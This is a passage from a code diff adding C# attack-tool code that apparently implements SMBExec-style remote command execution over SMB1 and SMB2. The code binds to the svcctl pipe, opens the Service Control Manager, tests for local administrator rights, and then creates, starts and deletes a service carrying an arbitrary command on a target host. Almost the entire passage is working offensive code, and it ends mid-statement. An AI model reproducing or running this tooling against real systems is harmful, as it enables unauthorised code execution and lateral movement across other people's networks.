SMB_Client_Send); + SMBClientStage = "ReadAndXRequest"; + SMB_Client_Stage_Next = "DeleteServiceW"; + } + else if (BitConverter.ToString(Utilities.GetByteRange(SMBClientReceive, 112, 115)) == "31-04-00-00") + { + output.AppendLine(String.Format("Service {0} creation failed on {1}", SMB_Service, Target)); + return output.ToString(); + } + else + { + output.AppendLine("Service Creation Fault Context Mismatch"); + return output.ToString(); + } + } + break; + case "DeleteServiceW": + { + if (BitConverter.ToString(Utilities.GetByteRange(SMBClientReceive, 88, 91)) == "1D-04-00-00") + { + if (debug) { output.AppendLine(String.Format("Command Executed with ServiceName: {0} on {1}", SMB_Service, Target)); } + } + else if (BitConverter.ToString(Utilities.GetByteRange(SMBClientReceive, 88, 91)) == "02-00-00-00") + { + SMBExec_Failed = true; + if (debug) { output.AppendLine(String.Format("Service {0} failed to start on {1}", SMB_Service, Target)); } + } + Packet_SMB_Header = SMBExec.SMBHeader(new byte[] { 0x2f }, new byte[] { 0x18 }, new byte[] { 0x05, 0x28 }, SMB_Tree_ID, Process_ID_Bytes, SMB_User_ID); + + if (SMB_Signing) + { + Packet_SMB_Header["SMBHeader_Flags2"] = new byte[] { 0x05, 0x48 }; + SMB_Signing_Counter += 2; + SMB_Signing_Sequence = BitConverter.GetBytes(SMB_Signing_Counter).Concat(new byte[] { 0x00, 0x00, 0x00, 0x00 }).ToArray(); + Packet_SMB_Header["SMBHeader_Signature"] = SMB_Signing_Sequence; + } + + Packet_SCM_Data = SMBExec.SCMDeleteServiceW(SMB_Service_Context_Handle); + SCM_Data = Utilities.ConvertFromPacketOrderedDictionary(Packet_SCM_Data); + Packet_RPC_Data = SMBExec.RPCRequest(new byte[] { 0x03 }, SCM_Data.Length, 0, 0, new byte[] { 0x04, 0x00, 0x00, 0x00 }, new byte[] { 0x00, 0x00 }, new byte[] { 0x02, 0x00 }, null); + RPC_Data = Utilities.ConvertFromPacketOrderedDictionary(Packet_RPC_Data); + SMB_Header = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB_Header); + Packet_SMB_Data = SMBExec.SMBWriteAndXRequest(SMB_FID, RPC_Data.Length + SCM_Data.Length); + SMB_Data = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB_Data); + int RPC_Data_Length = SMB_Data.Length + SCM_Data.Length + RPC_Data.Length; + NetBIOS_Session_Service = GetNetBIOSSessionService(SMB_Header.Length, RPC_Data_Length); + + if (SMB_Signing) + { + SMB_Sign = Session_Key.Concat(SMB_Header).Concat(SMB_Data).Concat(RPC_Data).Concat(SCM_Data).ToArray(); + SMB_Signature = MD5Crypto.ComputeHash(SMB_Sign); + SMB_Signature = Utilities.GetByteRange(SMB_Signature, 0, 7); + Packet_SMB_Header["SMBHeader_Signature"] = SMB_Signature; + SMB_Header = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB_Header); + } + SMB_Client_Send = NetBIOS_Session_Service.Concat(SMB_Header).Concat(SMB_Data).Concat(RPC_Data).Concat(SCM_Data).ToArray(); + SMBClientReceive = Utilities.SendStream(SMBClientStream, SMB_Client_Send); + SMBClientStage = "ReadAndXRequest"; + SMB_Client_Stage_Next = "CloseServiceHandle"; + SMB_Close_Service_Handle_Stage = 1; + } + break; + case "CloseServiceHandle": + { + Packet_SCM_Data = new OrderedDictionary(); + if (SMB_Close_Service_Handle_Stage == 1) + { + if (debug) { output.AppendLine(String.Format("Service {0} deleted on {1}", SMB_Service, Target)); } + Service_Deleted = true; + SMB_Close_Service_Handle_Stage++; + Packet_SCM_Data = SMBExec.SCMCloseServiceHandle(SMB_Service_Context_Handle); + } + else + { + SMBClientStage = "CloseRequest"; + Packet_SCM_Data = SMBExec.SCMCloseServiceHandle(SMB_Service_Manager_Context_Handle); + } + Packet_SMB_Header = SMBExec.SMBHeader(new byte[] { 0x2f }, new byte[] { 0x18 }, new byte[] { 0x05, 0x28 }, SMB_Tree_ID, Process_ID_Bytes, SMB_User_ID); + + if (SMB_Signing) + { + Packet_SMB_Header["SMBHeader_Flags2"] = new byte[] { 0x05, 0x48 }; + SMB_Signing_Counter += 2; + SMB_Signing_Sequence = BitConverter.GetBytes(SMB_Signing_Counter).Concat(new byte[] { 0x00, 0x00, 0x00, 0x00 }).ToArray(); + Packet_SMB_Header["SMBHeader_Signature"] = SMB_Signing_Sequence; + } + SCM_Data = Utilities.ConvertFromPacketOrderedDictionary(Packet_SCM_Data); + Packet_RPC_Data = SMBExec.RPCRequest(new byte[] { 0x03 }, SCM_Data.Length, 0, 0, new byte[] { 0x05, 0x00, 0x00, 0x00 }, new byte[] { 0x00, 0x00 }, new byte[] { 0x00, 0x00 }, null); + RPC_Data = Utilities.ConvertFromPacketOrderedDictionary(Packet_RPC_Data); + SMB_Header = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB_Header); + Packet_SMB_Data = SMBExec.SMBWriteAndXRequest(SMB_FID, RPC_Data.Length + SCM_Data.Length); + SMB_Data = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB_Data); + int RPC_Data_Length = SMB_Data.Length + SCM_Data.Length + RPC_Data.Length; + NetBIOS_Session_Service = GetNetBIOSSessionService(SMB_Header.Length, RPC_Data_Length); + + if (SMB_Signing) + { + SMB_Sign = Session_Key.Concat(SMB_Header).Concat(SMB_Data).Concat(RPC_Data).Concat(SCM_Data).ToArray(); + SMB_Signature = MD5Crypto.ComputeHash(SMB_Sign); + SMB_Signature = Utilities.GetByteRange(SMB_Signature, 0, 7); + Packet_SMB_Header["SMBHeader_Signature"] = SMB_Signature; + SMB_Header = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB_Header); + } + SMB_Client_Send = NetBIOS_Session_Service.Concat(SMB_Header).Concat(SMB_Data).Concat(RPC_Data).Concat(SCM_Data).ToArray(); + SMBClientReceive = Utilities.SendStream(SMBClientStream, SMB_Client_Send); + } + break; + case "CloseRequest": + { + Packet_SMB_Header = SMBExec.SMBHeader(new byte[] { 0x04 }, new byte[] { 0x18 }, new byte[] { 0x07, 0xc8 }, SMB_Tree_ID, Process_ID_Bytes, SMB_User_ID); + + if (SMB_Signing) + { + Packet_SMB_Header["SMBHeader_Flags2"] = new byte[] { 0x05, 0x48 }; + SMB_Signing_Counter += 2; + SMB_Signing_Sequence = BitConverter.GetBytes(SMB_Signing_Counter).Concat(new byte[] { 0x00, 0x00, 0x00, 0x00 }).ToArray(); + Packet_SMB_Header["SMBHeader_Signature"] = SMB_Signing_Sequence; + } + SMB_Header = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB_Header); + Packet_SMB_Data = SMBExec.SMBCloseRequest(new byte[] { 0x00, 0x40 }); + SMB_Data = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB_Data); + NetBIOS_Session_Service = GetNetBIOSSessionService(SMB_Header.Length, SMB_Data.Length); + + if (SMB_Signing) + { + SMB_Sign = Session_Key.Concat(SMB_Header).Concat(SMB_Data).ToArray(); + SMB_Signature = MD5Crypto.ComputeHash(SMB_Sign); + SMB_Signature = Utilities.GetByteRange(SMB_Signature, 0, 7); + Packet_SMB_Header["SMBHeader_Signature"] = SMB_Signature; + SMB_Header = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB_Header); + } + SMB_Client_Send = NetBIOS_Session_Service.Concat(SMB_Header).Concat(SMB_Data).ToArray(); + SMBClientReceive = Utilities.SendStream(SMBClientStream, SMB_Client_Send); + SMBClientStage = "TreeDisconnect"; + } + break; + case "TreeDisconnect": + { + Packet_SMB_Header = SMBExec.SMBHeader(new byte[] { 0x71 }, new byte[] { 0x18 }, new byte[] { 0x07, 0xc8 }, SMB_Tree_ID, Process_ID_Bytes, SMB_User_ID); + + if (SMB_Signing) + { + Packet_SMB_Header["SMBHeader_Flags2"] = new byte[] { 0x05, 0x48 }; + SMB_Signing_Counter += 2; + SMB_Signing_Sequence = BitConverter.GetBytes(SMB_Signing_Counter).Concat(new byte[] { 0x00, 0x00, 0x00, 0x00 }).ToArray(); + Packet_SMB_Header["SMBHeader_Signature"] = SMB_Signing_Sequence; + } + SMB_Header = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB_Header); + Packet_SMB_Data = SMBExec.SMBTreeDisconnectRequest(); + SMB_Data = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB_Data); + NetBIOS_Session_Service = GetNetBIOSSessionService(SMB_Header.Length, SMB_Data.Length); + + + if (SMB_Signing) + { + SMB_Sign = Session_Key.Concat(SMB_Header).Concat(SMB_Data).ToArray(); + SMB_Signature = MD5Crypto.ComputeHash(SMB_Sign); + SMB_Signature = Utilities.GetByteRange(SMB_Signature, 0, 7); + Packet_SMB_Header["SMBHeader_Signature"] = SMB_Signature; + SMB_Header = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB_Header); + } + SMB_Client_Send = NetBIOS_Session_Service.Concat(SMB_Header).Concat(SMB_Data).ToArray(); + SMBClientReceive = Utilities.SendStream(SMBClientStream, SMB_Client_Send); + SMBClientStage = "Logoff"; + } + break; + case "Logoff": + { + Packet_SMB_Header = SMBExec.SMBHeader(new byte[] { 0x74 }, new byte[] { 0x18 }, new byte[] { 0x07, 0xc8 }, new byte[] { 0x34, 0xfe }, Process_ID_Bytes, SMB_User_ID); + + if (SMB_Signing) + { + Packet_SMB_Header["SMBHeader_Flags2"] = new byte[] { 0x05, 0x48 }; + SMB_Signing_Counter += 2; + SMB_Signing_Sequence = BitConverter.GetBytes(SMB_Signing_Counter).Concat(new byte[] { 0x00, 0x00, 0x00, 0x00 }).ToArray(); + Packet_SMB_Header["SMBHeader_Signature"] = SMB_Signing_Sequence; + } + SMB_Header = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB_Header); + Packet_SMB_Data = SMBExec.SMBLogoffAndXRequest(); + SMB_Data = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB_Data); + NetBIOS_Session_Service = GetNetBIOSSessionService(SMB_Header.Length, SMB_Data.Length); + + + if (SMB_Signing) + { + SMB_Sign = Session_Key.Concat(SMB_Header).Concat(SMB_Data).ToArray(); + SMB_Signature = MD5Crypto.ComputeHash(SMB_Sign); + SMB_Signature = Utilities.GetByteRange(SMB_Signature, 0, 7); + Packet_SMB_Header["SMBHeader_Signature"] = SMB_Signature; + SMB_Header = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB_Header); + } + SMB_Client_Send = NetBIOS_Session_Service.Concat(SMB_Header).Concat(SMB_Data).ToArray(); + SMBClientReceive = Utilities.SendStream(SMBClientStream, SMB_Client_Send); + SMBClientStage = "exit"; + } + break; + } + + } + } + else + { + SMBClientStage = "TreeConnect"; + HMACSHA256 HMAC_SHA256 = new HMACSHA256(); + + while (SMBClientStage != "exit" && SMBExec_Failed == false) + { + if (debug) { output.AppendLine(String.Format("Current Stage {0}", SMBClientStage)); } + switch (SMBClientStage) + { + case "TreeConnect": + { + SMB2_Message_ID++; + Packet_SMB2_Header = SMBExec.SMB2Header(new byte[] { 0x03, 0x00 }, SMB2_Message_ID, SMB2_Tree_ID, SMB_Session_ID); + Packet_SMB2_Header["SMB2Header_CreditRequest"] = new byte[] { 0x7f, 0x00 }; + + if (SMB_Signing) + { + Packet_SMB2_Header["SMB2Header_Flags"] = new byte[] { 0x08, 0x00, 0x00, 0x00 }; + } + + Packet_SMB2_Data = SMBExec.SMB2TreeConnectRequest(SMB_Path_Bytes); + SMB2_Header = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB2_Header); + SMB2_Data = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB2_Data); + NetBIOS_Session_Service = GetNetBIOSSessionService(SMB2_Header.Length, SMB2_Data.Length); + if (SMB_Signing) + { + HMAC_SHA256 = new HMACSHA256(); + SMB2_Sign = SMB2_Header.Concat(SMB2_Data).ToArray(); + SMB2_Signature = HMAC_SHA256.ComputeHash(SMB2_Sign); + SMB2_Signature = Utilities.GetByteRange(SMB2_Signature, 0, 15); + Packet_SMB2_Header["SMB2Header_Signature"] = SMB2_Signature; + SMB2_Header = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB2_Header); + } + SMB_Client_Send = NetBIOS_Session_Service.Concat(SMB2_Header).Concat(SMB2_Data).ToArray(); + SMBClientReceive = Utilities.SendStream(SMBClientStream, SMB_Client_Send); + SMBClientStage = "CreateRequest"; + } + break; + case "CreateRequest": + { + SMB2_Tree_ID = new byte[] { 0x01, 0x00, 0x00, 0x00 }; + SMB_Named_Pipe_Bytes = new byte[] { 0x73, 0x00, 0x76, 0x00, 0x63, 0x00, 0x63, 0x00, 0x74, 0x00, 0x6c, 0x00 }; //svcctl + SMB2_Message_ID++; + Packet_SMB2_Header = SMBExec.SMB2Header(new byte[] { 0x05, 0x0 }, SMB2_Message_ID, SMB2_Tree_ID, SMB_Session_ID); + Packet_SMB2_Header["SMB2Header_CreditRequest"] = new byte[] { 0x7f, 0x00 }; + if (SMB_Signing) + { + Packet_SMB2_Header["SMB2Header_Flags"] = new byte[] { 0x08, 0x00, 0x00, 0x00 }; + } + Packet_SMB2_Data = SMBExec.SMB2CreateRequestFile(SMB_Named_Pipe_Bytes); + Packet_SMB2_Data["SMB2CreateRequestFIle_Share_Access"] = new byte[] { 0x07, 0x00, 0x00, 0x00 }; + SMB2_Header = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB2_Header); + SMB2_Data = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB2_Data); + NetBIOS_Session_Service = GetNetBIOSSessionService(SMB2_Header.Length, SMB2_Data.Length); + if (SMB_Signing) + { + HMAC_SHA256 = new HMACSHA256(); + SMB2_Sign = SMB2_Header.Concat(SMB2_Data).ToArray(); + SMB2_Signature = HMAC_SHA256.ComputeHash(SMB2_Sign); + SMB2_Signature = Utilities.GetByteRange(SMB2_Signature, 0, 15); + Packet_SMB2_Header["SMB2Header_Signature"] = SMB2_Signature; + SMB2_Header = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB2_Header); + } + SMB_Client_Send = NetBIOS_Session_Service.Concat(SMB2_Header).Concat(SMB2_Data).ToArray(); + SMBClientReceive = Utilities.SendStream(SMBClientStream, SMB_Client_Send); + SMBClientStage = "RPCBind"; + } + break; + case "RPCBind": + { + SMB_Named_Pipe_Bytes = new byte[] { 0x73, 0x00, 0x76, 0x00, 0x63, 0x00, 0x63, 0x00, 0x74, 0x00, 0x6c, 0x00 }; //svcctl + SMB2_Message_ID++; + SMB_File_ID = Utilities.GetByteRange(SMBClientReceive, 132, 147); + Packet_SMB2_Header = SMBExec.SMB2Header(new byte[] { 0x09, 0x00 }, SMB2_Message_ID, SMB2_Tree_ID, SMB_Session_ID); + Packet_SMB2_Header["SMB2Header_CreditRequest"] = new byte[] { 0x7f, 0x00 }; + if (SMB_Signing) + { + Packet_SMB2_Header["SMB2Header_Flags"] = new byte[] { 0x08, 0x00, 0x00, 0x00 }; + } + Packet_RPC_Data = SMBExec.RPCBind(1, new byte[] { 0xb8, 0x10 }, new byte[] { 0x01 }, new byte[] { 0x0, 0x00 }, SMB_named_pipe_UUID, new byte[] { 0x02, 0x00 }); + RPC_Data = Utilities.ConvertFromPacketOrderedDictionary(Packet_RPC_Data); + Packet_SMB2_Data = SMBExec.SMB2WriteRequest(SMB_File_ID, RPC_Data.Length); + SMB2_Header = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB2_Header); + SMB2_Data = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB2_Data); + int RPC_Data_Length = SMB2_Data.Length + RPC_Data.Length; + NetBIOS_Session_Service = GetNetBIOSSessionService(SMB2_Header.Length, RPC_Data_Length); + if (SMB_Signing) + { + HMAC_SHA256 = new HMACSHA256(); + SMB2_Sign = SMB2_Header.Concat(SMB2_Data).Concat(RPC_Data).ToArray(); + SMB2_Signature = HMAC_SHA256.ComputeHash(SMB2_Sign); + SMB2_Signature = Utilities.GetByteRange(SMB2_Signature, 0, 15); + Packet_SMB2_Header["SMB2Header_Signature"] = SMB2_Signature; + SMB2_Header = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB2_Header); + } + SMB_Client_Send = NetBIOS_Session_Service.Concat(SMB2_Header).Concat(SMB2_Data).Concat(RPC_Data).ToArray(); + SMBClientReceive = Utilities.SendStream(SMBClientStream, SMB_Client_Send); + SMBClientStage = "ReadRequest"; + SMB_Client_Stage_Next = "OpenSCManagerW"; + } + break; + case "ReadRequest": + { + Thread.Sleep(sleep * 1000); + SMB2_Message_ID++; + Packet_SMB2_Header = SMBExec.SMB2Header(new byte[] { 0x08, 0x00 }, SMB2_Message_ID, SMB2_Tree_ID, SMB_Session_ID); + Packet_SMB2_Header["SMB2Header_CreditRequest"] = new byte[] { 0x7f, 0x00 }; + Packet_SMB2_Header["SMB2Header_CreditCharge"] = new byte[] { 0x10, 0x00 }; + if (SMB_Signing) + { + Packet_SMB2_Header["SMB2Header_Flags"] = new byte[] { 0x08, 0x00, 0x00, 0x00 }; + } + + Packet_SMB2_Data = SMBExec.SMB2ReadRequest(SMB_File_ID); + SMB2_Header = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB2_Header); + SMB2_Data = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB2_Data); + NetBIOS_Session_Service = GetNetBIOSSessionService(SMB2_Header.Length, SMB2_Data.Length); + if (SMB_Signing) + { + HMAC_SHA256 = new HMACSHA256(); + SMB2_Sign = SMB2_Header.Concat(SMB2_Data).ToArray(); + SMB2_Signature = HMAC_SHA256.ComputeHash(SMB2_Sign); + SMB2_Signature = Utilities.GetByteRange(SMB2_Signature, 0, 15); + Packet_SMB2_Header["SMB2Header_Signature"] = SMB2_Signature; + SMB2_Header = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB2_Header); + } + SMB_Client_Send = NetBIOS_Session_Service.Concat(SMB2_Header).Concat(SMB2_Data).ToArray(); + SMBClientReceive = Utilities.SendStream(SMBClientStream, SMB_Client_Send); + if (BitConverter.ToString(Utilities.GetByteRange(SMBClientReceive, 12, 15)) != "03-01-00-00") + { + SMBClientStage = SMB_Client_Stage_Next; + } + else + { + SMBClientStage = "StatusPending"; + } + + } + break; + + case "StatusPending": + { + SMBClientStream.Read(SMBClientReceive, 0, SMBClientReceive.Length); + if (BitConverter.ToString(Utilities.GetByteRange(SMBClientReceive, 12, 15)) != "03-01-00-00") + { + SMBClientStage = SMB_Client_Stage_Next; + } + } + break; + case "OpenSCManagerW": + { + SMB2_Message_ID = 30; + Packet_SMB2_Header = SMBExec.SMB2Header(new byte[] { 0x09, 0x00 }, SMB2_Message_ID, SMB2_Tree_ID, SMB_Session_ID); + Packet_SMB2_Header["SMB2Header_CreditRequest"] = new byte[] { 0x7f, 0x00 }; + if (SMB_Signing) + { + Packet_SMB2_Header["SMB2Header_Flags"] = new byte[] { 0x08, 0x00, 0x00, 0x00 }; + } + Packet_SCM_Data = SMBExec.SCMOpenSCManagerW(SMB_Service_Bytes, SMB_Service_Length); + SCM_Data = Utilities.ConvertFromPacketOrderedDictionary(Packet_SCM_Data); + Packet_RPC_Data = SMBExec.RPCRequest(new byte[] { 0x03 }, SCM_Data.Length, 0, 0, new byte[] { 0x01, 0x00, 0x00, 0x00 }, new byte[] { 0x00, 0x00 }, new byte[] { 0x0f, 0x00 }, null); + RPC_Data = Utilities.ConvertFromPacketOrderedDictionary(Packet_RPC_Data); + Packet_SMB2_Data = SMBExec.SMB2WriteRequest(SMB_File_ID, RPC_Data.Length + SCM_Data.Length); + SMB2_Data = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB2_Data); + SMB2_Header = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB2_Header); + int RPC_Data_Length = SMB2_Data.Length + SCM_Data.Length + RPC_Data.Length; + NetBIOS_Session_Service = GetNetBIOSSessionService(SMB2_Header.Length, RPC_Data_Length); + + if (SMB_Signing) + { + HMAC_SHA256 = new HMACSHA256(); + SMB2_Sign = SMB2_Header.Concat(SMB2_Data).Concat(RPC_Data).Concat(SCM_Data).ToArray(); + SMB2_Signature = HMAC_SHA256.ComputeHash(SMB2_Sign); + SMB2_Signature = Utilities.GetByteRange(SMB2_Signature, 0, 15); + Packet_SMB2_Header["SMB2Header_Signature"] = SMB2_Signature; + SMB2_Header = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB2_Header); + } + SMB_Client_Send = NetBIOS_Session_Service.Concat(SMB2_Header).Concat(SMB2_Data).Concat(RPC_Data).Concat(SCM_Data).ToArray(); + SMBClientReceive = Utilities.SendStream(SMBClientStream, SMB_Client_Send); + SMBClientStage = "ReadRequest"; + SMB_Client_Stage_Next = "CheckAccess"; + + } + break; + + case "CheckAccess": + { + if (BitConverter.ToString(Utilities.GetByteRange(SMBClientReceive, 128, 131)) == "00-00-00-00" && BitConverter.ToString(Utilities.GetByteRange(SMBClientReceive, 108, 127)) != "00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00") + { + SMB_Service_Manager_Context_Handle = Utilities.GetByteRange(SMBClientReceive, 108, 127); + if (SMB_execute) + { + Packet_SCM_Data = SMBExec.SCMCreateServiceW(SMB_Service_Manager_Context_Handle, SMB_Service_Bytes, SMB_Service_Length, SMBExec_Command, SMBExec_Command_Length_bytes); + SCM_Data = Utilities.ConvertFromPacketOrderedDictionary(Packet_SCM_Data); + if (SCM_Data.Length < SMB_Split_Index) + { + SMBClientStage = "CreateServiceW"; + } + else + { + SMBClientStage = "CreateServiceW_First"; + } + } + else + { + + output.AppendLine(String.Format("{0} is a local administrator on {1}", Output_Username, Target)); + SMB2_Message_ID += 20; + SMB_Close_Service_Handle_Stage = 2; + SMBClientStage = "CloseServiceHandle"; + } + + } + else if (BitConverter.ToString(Utilities.GetByteRange(SMBClientReceive, 128, 131)) == "05-00-00-00") + { + output.AppendLine(String.Format("{0} is not a local administrator or does not have the required privileges on {1}", Output_Username, Target)); + SMBExec_Failed = true; + } + else + { + output.AppendLine(String.Format("Something went wrong with {0}", Target)); + SMBExec_Failed = true; + } + + } + break; + case "CreateServiceW": + { + if (SMBExec_Command.Length < SMB_Split_Index) + { + SMB2_Message_ID += 20; + Packet_SMB2_Header = SMBExec.SMB2Header(new byte[] { 0x09, 0x00 }, SMB2_Message_ID, SMB2_Tree_ID, SMB_Session_ID); + Packet_SMB2_Header["SMB2Header_CreditRequest"] = new byte[] { 0x7f, 0x00 }; + if (SMB_Signing) + { + Packet_SMB2_Header["SMB2Header_Flags"] = new byte[] { 0x08, 0x00, 0x00, 0x00 }; + } + Packet_RPC_Data = SMBExec.RPCRequest(new byte[] { 0x03 }, SCM_Data.Length, 0, 0, new byte[] { 0x01, 0x00, 0x00, 0x00 }, new byte[] { 0x00, 0x00 }, new byte[] { 0x0c, 0x00 }, null); + RPC_Data = Utilities.ConvertFromPacketOrderedDictionary(Packet_RPC_Data); + Packet_SMB_Data = SMBExec.SMB2WriteRequest(SMB_File_ID, RPC_Data.Length + SCM_Data.Length); + SMB2_Data = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB_Data); + SMB2_Header = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB2_Header); + int RPC_Data_Length = SMB2_Data.Length + SCM_Data.Length + RPC_Data.Length; + NetBIOS_Session_Service = GetNetBIOSSessionService(SMB2_Header.Length, RPC_Data_Length); + if (SMB_Signing) + { + HMAC_SHA256 = new HMACSHA256(); + SMB2_Sign = SMB2_Header.Concat(SMB2_Data).Concat(RPC_Data).Concat(SCM_Data).ToArray(); + SMB2_Signature = HMAC_SHA256.ComputeHash(SMB2_Sign); + SMB2_Signature = Utilities.GetByteRange(SMB2_Signature, 0, 15); + Packet_SMB2_Header["SMB2Header_Signature"] = SMB2_Signature; + SMB2_Header = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB2_Header); + } + SMB_Client_Send = NetBIOS_Session_Service.Concat(SMB2_Header).Concat(SMB2_Data).Concat(RPC_Data).Concat(SCM_Data).ToArray(); + SMBClientReceive = Utilities.SendStream(SMBClientStream, SMB_Client_Send); + SMBClientStage = "ReadRequest"; + SMB_Client_Stage_Next = "StartServiceW"; + + } + } + break; + case "CreateServiceW_First": + { + SMB_Split_Stage_final = Math.Ceiling((double)SCM_Data.Length / SMB_Split_Index); + SMB2_Message_ID += 20; + Packet_SMB2_Header = SMBExec.SMB2Header(new byte[] { 0x09, 0x00 }, SMB2_Message_ID, SMB2_Tree_ID, SMB_Session_ID); + Packet_SMB2_Header["SMB2Header_CreditRequest"] = new byte[] { 0x7f, 0x00 }; + if (SMB_Signing) + { + Packet_SMB2_Header["SMB2Header_Flags"] = new byte[] { 0x08, 0x00, 0x00, 0x00 }; + } + + byte[] SCM_Data_First = Utilities.GetByteRange(SCM_Data, 0, SMB_Split_Index - 1); + Packet_RPC_Data = SMBExec.RPCRequest(new byte[] { 0x01 }, 0, 0, 0, new byte[] { 0x01, 0x00, 0x00, 0x00 }, new byte[] { 0x00, 0x00 }, new byte[] { 0x0c, 0x00 }, SCM_Data_First); + Packet_RPC_Data["RPCRequest_AllocHint"] = BitConverter.GetBytes(SCM_Data.Length); + SMB_Split_Index_Tracker = SMB_Split_Index; + RPC_Data = Utilities.ConvertFromPacketOrderedDictionary(Packet_RPC_Data); + Packet_SMB2_Data = SMBExec.SMB2WriteRequest(SMB_File_ID, RPC_Data.Length); + SMB2_Header = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB2_Header); + SMB2_Data = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB2_Data); + int RPC_Data_Length = SMB2_Data.Length + RPC_Data.Length; + NetBIOS_Session_Service = GetNetBIOSSessionService(SMB2_Header.Length, RPC_Data_Length); + if (SMB_Signing) + { + HMAC_SHA256 = new HMACSHA256(); + SMB2_Sign = SMB2_Header.Concat(SMB2_Data).Concat(RPC_Data).ToArray(); + SMB2_Signature = HMAC_SHA256.ComputeHash(SMB2_Sign); + SMB2_Signature = Utilities.GetByteRange(SMB2_Signature, 0, 15); + Packet_SMB2_Header["SMB2Header_Signature"] = SMB2_Signature; + SMB2_Header = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB2_Header); + } + SMB_Client_Send = NetBIOS_Session_Service.Concat(SMB2_Header).Concat(SMB2_Data).Concat(RPC_Data).ToArray(); + SMBClientReceive = Utilities.SendStream(SMBClientStream, SMB_Client_Send); + + if (SMB_Split_Stage_final <= 2) + { + SMBClientStage = "CreateServiceW_Last"; + } + else + { + SMB_Split_Stage = 2; + SMBClientStage = "CreateServiceW_Middle"; + } + } + break; + + case "CreateServiceW_Middle": + { + SMB_Split_Stage++; + SMB2_Message_ID++; + Packet_SMB2_Header = SMBExec.SMB2Header(new byte[] { 0x09, 0x00 }, SMB2_Message_ID, SMB2_Tree_ID, SMB_Session_ID); + Packet_SMB2_Header["SMB2Header_CreditRequest"] = new byte[] { 0x7f, 0x00 }; + if (SMB_Signing) + { + Packet_SMB2_Header["SMB2Header_Flags"] = new byte[] { 0x08, 0x00, 0x00, 0x00 }; + } + byte[] SCM_Data_Middle = Utilities.GetByteRange(SCM_Data, SMB_Split_Index_Tracker, SMB_Split_Index_Tracker + SMB_Split_Index - 1); + SMB_Split_Index_Tracker += SMB_Split_Index; + Packet_RPC_Data = SMBExec.RPCRequest(new byte[] { 0x00 }, 0, 0, 0, new byte[] { 0x01, 0x00, 0x00, 0x00 }, new byte[] { 0x00, 0x00 }, new byte[] { 0x0c, 0x00 }, SCM_Data_Middle); + Packet_RPC_Data["RPCRequest_AllocHint"] = BitConverter.GetBytes(SCM_Data.Length - SMB_Split_Index_Tracker + SMB_Split_Index); + RPC_Data = Utilities.ConvertFromPacketOrderedDictionary(Packet_RPC_Data); + Packet_SMB2_Data = SMBExec.SMB2WriteRequest(SMB_File_ID, RPC_Data.Length); + SMB2_Header = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB2_Header); + SMB2_Data = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB2_Data); + int RPC_Data_Length = SMB2_Data.Length + RPC_Data.Length; + NetBIOS_Session_Service = GetNetBIOSSessionService(SMB2_Header.Length, RPC_Data_Length); + if (SMB_Signing) + { + HMAC_SHA256 = new HMACSHA256(); + SMB2_Sign = SMB2_Header.Concat(SMB2_Data).Concat(RPC_Data).ToArray(); + SMB2_Signature = HMAC_SHA256.ComputeHash(SMB2_Sign); + SMB2_Signature = Utilities.GetByteRange(SMB2_Signature, 0, 15); + Packet_SMB2_Header["SMB2Header_Signature"] = SMB2_Signature; + SMB2_Header = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB2_Header); + } + SMB_Client_Send = NetBIOS_Session_Service.Concat(SMB2_Header).Concat(SMB2_Data).Concat(RPC_Data).ToArray(); + SMBClientReceive = Utilities.SendStream(SMBClientStream, SMB_Client_Send); + if (SMB_Split_Stage >= SMB_Split_Stage_final) + { + SMBClientStage = "CreateServiceW_Last"; + } + else + { + SMBClientStage = "CreateServiceW_Middle"; + } + } + break; + + case "CreateServiceW_Last": + { + SMB2_Message_ID++; + Packet_SMB2_Header = SMBExec.SMB2Header(new byte[] { 0x09, 0x00 }, SMB2_Message_ID, SMB2_Tree_ID, SMB_Session_ID); + Packet_SMB2_Header["SMB2Header_CreditRequest"] = new byte[] { 0x7f, 0x00 }; + if (SMB_Signing) + { + Packet_SMB2_Header["SMB2Header_Flags"] = new byte[] { 0x08, 0x00, 0x00, 0x00 }; + } + byte[] SCM_Data_Last = Utilities.GetByteRange(SCM_Data, SMB_Split_Index_Tracker, SCM_Data.Length); + Packet_RPC_Data = SMBExec.RPCRequest(new byte[] { 0x02 }, 0, 0, 0, new byte[] { 0x01, 0x00, 0x00, 0x00 }, new byte[] { 0x00, 0x00 }, new byte[] { 0x0c, 0x00 }, SCM_Data_Last); + RPC_Data = 